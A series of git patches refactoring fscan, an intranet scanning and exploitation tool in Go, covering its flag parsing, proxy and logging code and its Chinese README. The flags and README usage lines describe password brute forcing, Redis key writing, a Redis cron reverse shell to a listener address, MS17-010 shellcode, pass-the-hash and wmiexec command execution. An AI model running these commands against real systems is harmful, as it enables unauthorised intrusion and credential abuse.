Info.Ports += "," + flags.PortAdd + Info.Ports += "," + PortAdd } } - if flags.UserAdd != "" { - user := strings.Split(flags.UserAdd, ",") + if UserAdd != "" { + user := strings.Split(UserAdd, ",") for a := range Userdict { Userdict[a] = append(Userdict[a], user...) Userdict[a] = RemoveDuplicate(Userdict[a]) } } - if flags.PassAdd != "" { - pass := strings.Split(flags.PassAdd, ",") + if PassAdd != "" { + pass := strings.Split(PassAdd, ",") Passwords = append(Passwords, pass...) Passwords = RemoveDuplicate(Passwords) } - if flags.Socks5Proxy != "" && !strings.HasPrefix(flags.Socks5Proxy, "socks5://") { - if !strings.Contains(flags.Socks5Proxy, ":") { - flags.Socks5Proxy = "socks5://127.0.0.1" + flags.Socks5Proxy + if Socks5Proxy != "" && !strings.HasPrefix(Socks5Proxy, "socks5://") { + if !strings.Contains(Socks5Proxy, ":") { + Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy } else { - flags.Socks5Proxy = "socks5://" + flags.Socks5Proxy + Socks5Proxy = "socks5://" + Socks5Proxy } } - if flags.Socks5Proxy != "" { - fmt.Println("Socks5Proxy:", flags.Socks5Proxy) - _, err := url.Parse(flags.Socks5Proxy) + if Socks5Proxy != "" { + fmt.Println("Socks5Proxy:", Socks5Proxy) + _, err := url.Parse(Socks5Proxy) if err != nil { fmt.Println("Socks5Proxy parse error:", err) os.Exit(0) } - flags.NoPing = true + NoPing = true } - if flags.Proxy != "" { - if flags.Proxy == "1" { - flags.Proxy = "http://127.0.0.1:8080" - } else if flags.Proxy == "2" { - flags.Proxy = "socks5://127.0.0.1:1080" - } else if !strings.Contains(flags.Proxy, "://") { - flags.Proxy = "http://127.0.0.1:" + flags.Proxy + if Proxy != "" { + if Proxy == "1" { + Proxy = "http://127.0.0.1:8080" + } else if Proxy == "2" { + Proxy = "socks5://127.0.0.1:1080" + } else if !strings.Contains(Proxy, "://") { + Proxy = "http://127.0.0.1:" + Proxy } - fmt.Println("Proxy:", flags.Proxy) - if !strings.HasPrefix(flags.Proxy, "socks") && !strings.HasPrefix(flags.Proxy, "http") { + fmt.Println("Proxy:", Proxy) + if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") { fmt.Println("no support this proxy") os.Exit(0) } - _, err := url.Parse(flags.Proxy) + _, err := url.Parse(Proxy) if err != nil { fmt.Println("Proxy parse error:", err) os.Exit(0) } } - if flags.Hash != "" && len(flags.Hash) != 32 { + if Hash != "" && len(Hash) != 32 { fmt.Println("[-] Hash is error,len(hash) must be 32") os.Exit(0) } else { var err error - flags.HashBytes, err = hex.DecodeString(flags.Hash) + HashBytes, err = hex.DecodeString(Hash) if err != nil { fmt.Println("[-] Hash is error,hex decode error") os.Exit(0) @@ -215,13 +214,13 @@ func ParseInput(Info *HostInfo, flags *Flags) { } } -func ParseScantype(Info *HostInfo, flags *Flags) { - _, ok := PORTList[flags.Scantype] +func ParseScantype(Info *HostInfo) { + _, ok := PORTList[Scantype] if !ok { showmode() } - if flags.Scantype != "all" && Info.Ports == DefaultPorts+","+Webport { - switch flags.Scantype { + if Scantype != "all" && Info.Ports == DefaultPorts+","+Webport { + switch Scantype { case "wmiexec": Info.Ports = "135" case "wmiinfo": @@ -245,10 +244,10 @@ func ParseScantype(Info *HostInfo, flags *Flags) { case "main": Info.Ports = DefaultPorts default: - port, _ := PORTList[flags.Scantype] + port, _ := PORTList[Scantype] Info.Ports = strconv.Itoa(port) } - fmt.Println("-m ", flags.Scantype, " start scan the port:", Info.Ports) + fmt.Println("-m ", Scantype, " start scan the port:", Info.Ports) } } From 5d154ce6a147f58540ae97ea76ca49d90aba0771 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:37:53 +0800 Subject: [PATCH 35/46] Update ParseIP.go --- common/ParseIP.go | 24 +++++++++++------------- 1 file changed, 11 insertions(+), 13 deletions(-) diff --git a/common/ParseIP.go b/common/ParseIP.go index 17ddbc2..96f2317 100644 --- a/common/ParseIP.go +++ b/common/ParseIP.go @@ -23,11 +23,11 @@ var ParseIPErr = errors.New(" host parsing error\n" + "192.168.1.1-192.168.255.255\n" + "192.168.1.1-255") -func ParseIP(hostPort *[]string, host string, filename string, nohosts ...string) (hosts []string, err error) { +func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) { hosts = ParseIPs(host) if filename != "" { var filehost []string - filehost, _ = readipfile(hostPort, filename) + filehost, _ = Readipfile(filename) hosts = append(hosts, filehost...) } @@ -55,7 +55,7 @@ func ParseIP(hostPort *[]string, host string, filename string, nohosts ...string } } hosts = RemoveDuplicate(hosts) - if len(hosts) == 0 && len(*hostPort) == 0 && host != "" && filename != "" { + if len(hosts) == 0 && len(HostPort) == 0 && host != "" && filename != "" { err = ParseIPErr } return @@ -114,8 +114,9 @@ func parseIP2(host string) (hosts []string) { return } -// 解析ip段: 192.168.111.1-255 +// 解析ip段: // +// 192.168.111.1-255 // 192.168.111.1-192.168.112.255 func parseIP1(ip string) []string { IPRange := strings.Split(ip, "-") @@ -176,22 +177,19 @@ func IPRange(c *net.IPNet) string { } // 按行读ip -func readipfile(hostPort *[]string, filename string) ([]string, error) { +func Readipfile(filename string) ([]string, error) { file, err := os.Open(filename) if err != nil { fmt.Printf("Open %s error, %v", filename, err) os.Exit(0) } defer file.Close() - + var content []string scanner := bufio.NewScanner(file) scanner.Split(bufio.ScanLines) - - var content []string for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if line != "" { - var hosts []string text := strings.Split(line, ":") if len(text) == 2 { port := strings.Split(text[1], " ")[0] @@ -199,14 +197,14 @@ func readipfile(hostPort *[]string, filename string) ([]string, error) { if err != nil || (num < 1 || num > 65535) { continue } - hosts = ParseIPs(text[0]) + hosts := ParseIPs(text[0]) for _, host := range hosts { - *hostPort = append(*hostPort, fmt.Sprintf("%s:%s", host, port)) + HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port)) } } else { - hosts = ParseIPs(line) + host := ParseIPs(line) + content = append(content, host...) } - content = append(content, hosts...) } } return content, nil From 989389fd52794f02a03506389e4b01e9c17335b9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:41:26 +0800 Subject: [PATCH 36/46] Update log.go --- common/log.go | 41 ++++++++++++++++++++--------------------- 1 file changed, 20 insertions(+), 21 deletions(-) diff --git a/common/log.go b/common/log.go index e607403..1bb0204 100644 --- a/common/log.go +++ b/common/log.go @@ -2,12 +2,11 @@ package common import ( "fmt" + "github.com/fatih/color" "os" "strings" "sync" "time" - - "github.com/fatih/color" ) var Num int64 @@ -18,8 +17,8 @@ var LogSucTime int64 var LogErrTime int64 var WaitTime int64 var Silent bool +var Nocolor bool var LogWG sync.WaitGroup -var Outputfile string func init() { LogSucTime = time.Now().Unix() @@ -35,17 +34,21 @@ func LogSuccess(result string) { func SaveLog() { for result := range Results { if !Silent { - if strings.Contains(*result, "[+]") { - color.Green(*result) - } else if strings.Contains(*result, "[*]") { - color.Cyan(*result) + if Nocolor { + fmt.Println(*result) + } else { + if strings.HasPrefix(*result, "[+] InfoScan") { + color.Green(*result) + } else if strings.HasPrefix(*result, "[+]") { + color.Red(*result) + } else { + fmt.Println(*result) + } } } - if IsSave { WriteFile(*result, Outputfile) } - LogWG.Done() } } @@ -57,23 +60,19 @@ func WriteFile(result string, filename string) { fmt.Printf("Open %s error, %v\n", filename, err) return } - - defer func() { - _ = fl.Close() - }() - - if _, err := fl.Write(text); err != nil { + _, err = fl.Write(text) + fl.Close() + if err != nil { fmt.Printf("Write %s error, %v\n", filename, err) } } func LogError(errinfo interface{}) { - if WaitTime == 0 || (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime { - color.Red(fmt.Sprintf("Completed %v/%v %v \n", End, Num, errinfo)) - - if WaitTime != 0 { - LogErrTime = time.Now().Unix() - } + if WaitTime == 0 { + fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo) + } else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime { + fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo) + LogErrTime = time.Now().Unix() } } From 57eeb414536407e78f8453bf48c752247730a93e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:42:04 +0800 Subject: [PATCH 37/46] Update flag.go --- common/flag.go | 169 ++++++++++++++++++------------------------------- 1 file changed, 60 insertions(+), 109 deletions(-) diff --git a/common/flag.go b/common/flag.go index 25852f5..4a35a74 100644 --- a/common/flag.go +++ b/common/flag.go @@ -4,116 +4,67 @@ import ( "flag" ) -// todo make function -type Flags struct { - Path string - Scantype string - Command string - SshKey string - Domain string - Username string - Password string - Proxy string - Timeout int64 - WebTimeout int64 - NoPing bool - Ping bool - Pocinfo PocInfo - IsWebCan bool - IsBrute bool - RedisFile string - RedisShell string - Userfile string - Passfile string - HostFile string - PortFile string - PocPath string - Threads int - URL string - UrlFile string - Urls []string - NoPorts string - NoHosts string - SC string - PortAdd string - UserAdd string - PassAdd string - BruteThread int - LiveTop int - Socks5Proxy string - Hash string - HashBytes []byte - IsWmi bool - PocNum int - PocFull bool - DnsLog bool +func Banner() { + banner := ` + ___ _ + / _ \ ___ ___ _ __ __ _ ___| | __ + / /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ / +/ /_\\_____\__ \ (__| | | (_| | (__| < +\____/ |___/\___|_| \__,_|\___|_|\_\ + fscan version: ` + version + ` +` + print(banner) } -// todo make function -type LogConfig struct { - Silent bool - Outputfile string - TmpSave bool - WaitTime int64 -} - -type InConfig struct { - HostInfo HostInfo - Flags Flags - LogConfig LogConfig - Cookie string -} - -func Flag(inConfig *InConfig) { - flag.StringVar(&inConfig.HostInfo.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") - flag.StringVar(&inConfig.HostInfo.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306") - - flag.StringVar(&inConfig.Flags.NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24") - flag.StringVar(&inConfig.Flags.PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389") - flag.StringVar(&inConfig.Flags.UserAdd, "usera", "", "add a user base DefaultUsers,-usera user") - flag.StringVar(&inConfig.Flags.PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password") - flag.StringVar(&inConfig.Flags.NoPorts, "pn", "", "the ports no scan,as: -pn 445") - flag.StringVar(&inConfig.Flags.Command, "c", "", "exec command (ssh|wmiexec)") - flag.StringVar(&inConfig.Flags.SshKey, "sshkey", "", "sshkey file (id_rsa)") - flag.StringVar(&inConfig.Flags.Domain, "domain", "", "smb domain") - flag.StringVar(&inConfig.Flags.Username, "user", "", "username") - flag.StringVar(&inConfig.Flags.Password, "pwd", "", "password") - flag.Int64Var(&inConfig.Flags.Timeout, "time", 3, "Set timeout") - flag.Int64Var(&inConfig.Flags.WebTimeout, "wt", 5, "Set web timeout") - flag.StringVar(&inConfig.Flags.Scantype, "m", "all", "Select scan type ,as: -m ssh") - flag.StringVar(&inConfig.Flags.Path, "path", "", "fcgi、smb romote file path") - flag.IntVar(&inConfig.Flags.Threads, "t", 600, "Thread nums") - flag.IntVar(&inConfig.Flags.LiveTop, "top", 10, "show live len top") - flag.StringVar(&inConfig.Flags.HostFile, "hf", "", "host file, -hf ip.txt") - flag.StringVar(&inConfig.Flags.Userfile, "userf", "", "username file") - flag.StringVar(&inConfig.Flags.Passfile, "pwdf", "", "password file") - flag.StringVar(&inConfig.Flags.PortFile, "portf", "", "Port File") - flag.StringVar(&inConfig.Flags.PocPath, "pocpath", "", "poc file path") - flag.StringVar(&inConfig.Flags.RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub)") - flag.StringVar(&inConfig.Flags.RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666)") - flag.BoolVar(&inConfig.Flags.IsWebCan, "nopoc", false, "not to scan web vul") - flag.BoolVar(&inConfig.Flags.IsBrute, "nobr", false, "not to Brute password") - flag.IntVar(&inConfig.Flags.BruteThread, "br", 1, "Brute threads") - flag.BoolVar(&inConfig.Flags.NoPing, "np", false, "not to ping") - flag.BoolVar(&inConfig.Flags.Ping, "ping", false, "using ping replace icmp") - flag.StringVar(&inConfig.Flags.URL, "u", "", "url") - flag.StringVar(&inConfig.Flags.UrlFile, "uf", "", "urlfile") - flag.StringVar(&inConfig.Flags.Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic") - flag.IntVar(&inConfig.Flags.PocNum, "num", 20, "poc rate") - flag.StringVar(&inConfig.Flags.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080") - flag.StringVar(&inConfig.Flags.Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work") - flag.StringVar(&inConfig.Flags.SC, "sc", "", "ms17 shellcode,as -sc add") - flag.BoolVar(&inConfig.Flags.IsWmi, "wmi", false, "start wmi") - flag.StringVar(&inConfig.Flags.Hash, "hash", "", "hash") - flag.BoolVar(&inConfig.Flags.PocFull, "full", false, "poc full scan,as: shiro 100 key") - flag.BoolVar(&inConfig.Flags.DnsLog, "dns", false, "using dnslog poc") - - flag.StringVar(&inConfig.LogConfig.Outputfile, "o", "result.txt", "Outputfile") - flag.BoolVar(&inConfig.LogConfig.TmpSave, "no", false, "not to save output log") - flag.Int64Var(&inConfig.LogConfig.WaitTime, "debug", 60, "every time to LogErr") - flag.BoolVar(&inConfig.LogConfig.Silent, "silent", false, "silent scan") - - flag.StringVar(&inConfig.Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login") - +func Flag(Info *HostInfo) { + Banner() + flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") + flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24") + flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306") + flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389") + flag.StringVar(&UserAdd, "usera", "", "add a user base DefaultUsers,-usera user") + flag.StringVar(&PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password") + flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445") + flag.StringVar(&Command, "c", "", "exec command (ssh|wmiexec)") + flag.StringVar(&SshKey, "sshkey", "", "sshkey file (id_rsa)") + flag.StringVar(&Domain, "domain", "", "smb domain") + flag.StringVar(&Username, "user", "", "username") + flag.StringVar(&Password, "pwd", "", "password") + flag.Int64Var(&Timeout, "time", 3, "Set timeout") + flag.StringVar(&Scantype, "m", "all", "Select scan type ,as: -m ssh") + flag.StringVar(&Path, "path", "", "fcgi、smb romote file path") + flag.IntVar(&Threads, "t", 600, "Thread nums") + flag.IntVar(&LiveTop, "top", 10, "show live len top") + flag.StringVar(&HostFile, "hf", "", "host file, -hf ip.txt") + flag.StringVar(&Userfile, "userf", "", "username file") + flag.StringVar(&Passfile, "pwdf", "", "password file") + flag.StringVar(&PortFile, "portf", "", "Port File") + flag.StringVar(&PocPath, "pocpath", "", "poc file path") + flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub)") + flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666)") + flag.BoolVar(&NoWebCan, "nopoc", false, "not to scan web vul") + flag.BoolVar(&IsBrute, "nobr", false, "not to Brute password") + flag.IntVar(&BruteThread, "br", 1, "Brute threads") + flag.BoolVar(&NoPing, "np", false, "not to ping") + flag.BoolVar(&Ping, "ping", false, "using ping replace icmp") + flag.StringVar(&Outputfile, "o", "result.txt", "Outputfile") + flag.BoolVar(&TmpSave, "no", false, "not to save output log") + flag.Int64Var(&WaitTime, "debug", 60, "every time to LogErr") + flag.BoolVar(&Silent, "silent", false, "silent scan") + flag.BoolVar(&Nocolor, "nocolor", false, "no color") + flag.BoolVar(&PocFull, "full", false, "poc full scan,as: shiro 100 key") + flag.StringVar(&URL, "u", "", "url") + flag.StringVar(&UrlFile, "uf", "", "urlfile") + flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic") + flag.StringVar(&Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080") + flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work") + flag.StringVar(&Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login") + flag.Int64Var(&WebTimeout, "wt", 5, "Set web timeout") + flag.BoolVar(&DnsLog, "dns", false, "using dnslog poc") + flag.IntVar(&PocNum, "num", 20, "poc rate") + flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add") + flag.BoolVar(&IsWmi, "wmi", false, "start wmi") + flag.StringVar(&Hash, "hash", "", "hash") + flag.BoolVar(&Noredistest, "noredis", false, "no redis sec test") flag.Parse() } From 464128cdee31464e94444b60288465ef185e404b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:43:24 +0800 Subject: [PATCH 38/46] Update proxy.go --- common/proxy.go | 22 +++++++++------------- 1 file changed, 9 insertions(+), 13 deletions(-) diff --git a/common/proxy.go b/common/proxy.go index e51f10d..780c9d0 100644 --- a/common/proxy.go +++ b/common/proxy.go @@ -2,34 +2,29 @@ package common import ( "errors" + "golang.org/x/net/proxy" "net" "net/url" "strings" "time" - - "golang.org/x/net/proxy" ) -type Socks5 struct { - Address string -} - -func WrapperTcpWithTimeout(network, address string, socks5Proxy Socks5, timeout time.Duration) (net.Conn, error) { +func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { d := &net.Dialer{Timeout: timeout} - return WrapperTCP(network, address, socks5Proxy, d) + return WrapperTCP(network, address, d) } -func WrapperTCP(network, address string, socks5Proxy Socks5, forward *net.Dialer) (net.Conn, error) { +func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) { //get conn var conn net.Conn - if socks5Proxy.Address == "" { + if Socks5Proxy == "" { var err error conn, err = forward.Dial(network, address) if err != nil { return nil, err } } else { - dailer, err := Socks5Dailer(forward, socks5Proxy) + dailer, err := Socks5Dailer(forward) if err != nil { return nil, err } @@ -39,10 +34,11 @@ func WrapperTCP(network, address string, socks5Proxy Socks5, forward *net.Dialer } } return conn, nil + } -func Socks5Dailer(forward *net.Dialer, socks5Proxy Socks5) (proxy.Dialer, error) { - u, err := url.Parse(socks5Proxy.Address) +func Socks5Dailer(forward *net.Dialer) (proxy.Dialer, error) { + u, err := url.Parse(Socks5Proxy) if err != nil { return nil, err } From 362d23e5777e1d226ab7e00fcd32deab4c1bc48e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:47:33 +0800 Subject: [PATCH 39/46] Update config.go --- common/config.go | 66 ++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 58 insertions(+), 8 deletions(-) diff --git a/common/config.go b/common/config.go index d60e9e0..00f93b4 100644 --- a/common/config.go +++ b/common/config.go @@ -1,5 +1,6 @@ package common +var version = "1.8.2" var Userdict = map[string][]string{ "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, "mysql": {"root", "mysql"}, @@ -41,16 +42,16 @@ var PORTList = map[string]int{ "main": 0, } +var Outputfile = "result.txt" var IsSave = true var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" type HostInfo struct { - Host string - Ports string - Url string - Infostr []string - HostPort []string // locks like dead varibale, I cannot file initialization of this variable + Host string + Ports string + Url string + Infostr []string } type PocInfo struct { @@ -59,7 +60,56 @@ type PocInfo struct { } var ( - UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" - Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" - Cookie string + Path string + Scantype string + Command string + SshKey string + Domain string + Username string + Password string + Proxy string + Timeout int64 = 3 + WebTimeout int64 = 5 + TmpSave bool + NoPing bool + Ping bool + Pocinfo PocInfo + NoWebCan bool + IsBrute bool + RedisFile string + RedisShell string + Userfile string + Passfile string + HostFile string + PortFile string + PocPath string + Threads int + URL string + UrlFile string + Urls []string + NoPorts string + NoHosts string + SC string + PortAdd string + UserAdd string + PassAdd string + BruteThread int + LiveTop int + Socks5Proxy string + Hash string + HashBytes []byte + HostPort []string + IsWmi bool + Noredistest bool +) + +var ( + UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" + Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" + DnsLog bool + PocNum int + PocFull bool + CeyeDomain string + ApiKey string + Cookie string ) From 490a272e4b77baa8b27119f1693cbfea5deef648 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:48:21 +0800 Subject: [PATCH 40/46] Update main.go --- main.go | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/main.go b/main.go index a4ea3c4..0ae3db3 100644 --- a/main.go +++ b/main.go @@ -2,18 +2,17 @@ package main import ( "fmt" - "time" - "github.com/shadow1ng/fscan/Plugins" "github.com/shadow1ng/fscan/common" + "time" ) func main() { start := time.Now() - var config common.InConfig - common.Flag(&config) - common.Parse(&config) - Plugins.Scan(config.HostInfo, config.Flags) + var Info common.HostInfo + common.Flag(&Info) + common.Parse(&Info) + Plugins.Scan(Info) t := time.Now().Sub(start) - fmt.Printf("[*] The scan is done, spent time: %s\n", t) + fmt.Printf("[*] 扫描结束,耗时: %s\n", t) } From 2ca79f2979fcf72bd312fbdc95f8645d61ebf9ef Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:50:59 +0800 Subject: [PATCH 41/46] Update README.md --- README.md | 326 ++++++++++++++++++++++++++---------------------------- 1 file changed, 156 insertions(+), 170 deletions(-) diff --git a/README.md b/README.md index 6228f23..fc6631a 100644 --- a/README.md +++ b/README.md @@ -1,212 +1,198 @@ # fscan +[English][url-docen] -# 1. Introduction -An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning. -It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions. +# 1. 简介 +一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 +支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。 -# 2. Functions -1.Information collection: -* Survival detection(icmp) -* Port scanning +# 2. 主要功能 +1.信息搜集: +* 存活探测(icmp) +* 端口扫描 -2.Blasting: -* Various service blasting(ssh、smb、rdp, etc.) -* Database password blasting(mysql、mssql、redis、psql、oracle, etc.) +2.爆破功能: +* 各类服务爆破(ssh、smb、rdp等) +* 数据库密码爆破(mysql、mssql、redis、psql、oracle等) -3.System information, vulnerability scanning: -* Netbios detection, domain control identification -* Collect NIC information -* High Risk Vulnerability Scanning(ms17010, etc.) +3.系统信息、漏洞扫描: +* netbios探测、域控识别 +* 获取目标网卡信息 +* 高危漏洞扫描(ms17010等) -4.Web detection: -* Webtitle detection -* Web fingerprinting (cms, oa framework, etc.) -* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc) +4.Web探测功能: +* webtitle探测 +* web指纹识别(常见cms、oa框架等) +* web漏洞扫描(weblogic、st2等,支持xray的poc) -5.Exploit: -* Write redis public key and scheduled tasks -* Excute ssh command -* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc. +5.漏洞利用: +* redis写公钥或写计划任务 +* ssh命令执行 +* ms17017利用(植入shellcode),如添加用户等 -6.Others: -* Save ouput result +6.其他功能: +* 文件保存 -# 3. Instructions -Getting Started +# 3. 使用说明 +简单用法 ``` -fscan.exe -h 192.168.1.1/24 -fscan.exe -h 192.168.1.1/16 +fscan.exe -h 192.168.1.1/24 (默认使用全部模块) +fscan.exe -h 192.168.1.1/16 (B段扫描) ``` -Advanced +其他用法 ``` -fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning) -fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key) -fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell) -fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command) -fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port) -fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast -fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default) -fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information ) -fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash) -fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module) -fscan.exe -hf ip.txt (Import target from file) -fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080) -fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic) -fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan) -fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings) -fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended) -fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision) -fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution) +fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描) +fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥) +fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell) +fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行) +fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口) +fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破) +fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) +fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 ) +fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞) +fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块) +fscan.exe -hf ip.txt (以文件导入) +fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080) +fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量) +fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描) +fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理) +fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具) +fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4) +fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx 